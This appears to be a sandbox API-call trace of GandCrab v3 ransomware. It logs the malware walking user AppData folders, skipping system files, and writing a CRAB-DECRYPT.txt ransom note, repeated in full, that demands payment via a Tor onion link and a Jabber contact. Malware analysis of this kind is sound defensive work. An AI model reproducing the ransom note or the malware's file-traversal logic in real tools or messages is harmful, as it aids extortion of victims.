	[0109.241] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\CRAB-DECRYPT.txt") returned 60
	[0109.241] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.241] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.241] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.241] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.241] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.241] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.241] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.241] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.241] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.241] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.242] FindNextFileW (in: hFindFile=0xd802a0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0109.242] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1
	[0109.242] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1
	[0109.242] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player"
	[0109.242] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\"
	[0109.242] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.242] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.242] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.242] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.242] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.243] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.243] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.243] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.243] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\\\CRAB-DECRYPT.txt") returned 74
	[0109.243] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\flash player\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0109.264] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.264] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0109.265] CloseHandle (hObject=0x3f0) returned 1
	[0109.266] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.266] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\") returned 57
	[0109.266] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*"
	[0109.266] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0xd802e0
	[0109.266] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.266] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.266] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.266] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.266] FindNextFileW (in: hFindFile=0xd802e0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0109.266] lstrcmpW (lpString1="AssetCache", lpString2=".") returned 1
	[0109.266] lstrcmpW (lpString1="AssetCache", lpString2="..") returned 1
	[0109.266] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="AssetCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache"
	[0109.266] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\"
	[0109.267] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.267] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.267] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.267] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.267] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.267] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.267] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.267] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.267] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.267] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.267] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.267] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.267] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.268] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\\\CRAB-DECRYPT.txt") returned 85
	[0109.268] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\flash player\\assetcache\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0109.269] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.269] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0109.270] CloseHandle (hObject=0x3f4) returned 1
	[0109.270] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.270] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\") returned 68
	[0109.270] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*"
	[0109.270] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xd80360
	[0109.270] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.270] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.270] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.270] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.270] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.270] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.271] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.271] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\CRAB-DECRYPT.txt"
	[0109.271] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.271] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\CRAB-DECRYPT.txt") returned 84
	[0109.271] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\CRAB-DECRYPT.txt") returned 84
	[0109.271] lstrlenW (lpString=".txt") returned 4
	[0109.271] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.271] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.271] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.271] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\CRAB-DECRYPT.txt") returned 84
	[0109.272] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\CRAB-DECRYPT.txt") returned 84
	[0109.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.272] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.272] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.272] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0109.272] lstrcmpW (lpString1="NAHQNPMN", lpString2=".") returned 1
	[0109.272] lstrcmpW (lpString1="NAHQNPMN", lpString2="..") returned 1
	[0109.272] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="NAHQNPMN" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN"
	[0109.272] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\"
	[0109.272] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.272] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0109.272] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0109.273] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0109.273] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0109.273] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.273] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0109.273] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0109.273] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0109.273] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0109.273] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0109.273] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0109.273] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.274] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\\\CRAB-DECRYPT.txt") returned 94
	[0109.274] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\flash player\\assetcache\\nahqnpmn\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0109.274] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0109.274] WriteFile (in: hFile=0x3f8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3149f54, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3149f54*=0xcce, lpOverlapped=0x0) returned 1
	[0109.275] CloseHandle (hObject=0x3f8) returned 1
	[0109.275] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.276] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\") returned 77
	[0109.276] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*"
	[0109.276] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\*", lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0xd80520
	[0109.276] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0109.276] FindNextFileW (in: hFindFile=0xd80520, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.276] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0109.276] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0109.276] FindNextFileW (in: hFindFile=0xd80520, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0109.276] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0109.276] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0109.276] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\CRAB-DECRYPT.txt"
	[0109.276] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0109.276] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\CRAB-DECRYPT.txt") returned 93
	[0109.276] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\CRAB-DECRYPT.txt") returned 93
	[0109.276] lstrlenW (lpString=".txt") returned 4
	[0109.276] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0109.277] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0109.277] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.277] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\CRAB-DECRYPT.txt") returned 93
	[0109.277] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN\\CRAB-DECRYPT.txt") returned 93
	[0109.277] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0109.277] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0109.277] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0109.277] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0109.277] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0109.277] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0109.277] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0109.277] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0109.277] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0109.277] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0109.277] FindNextFileW (in: hFindFile=0xd80520, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0109.277] FindClose (in: hFindFile=0xd80520 | out: hFindFile=0xd80520) returned 1
	[0109.278] FindNextFileW (in: hFindFile=0xd80360, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0109.278] FindClose (in: hFindFile=0xd80360 | out: hFindFile=0xd80360) returned 1
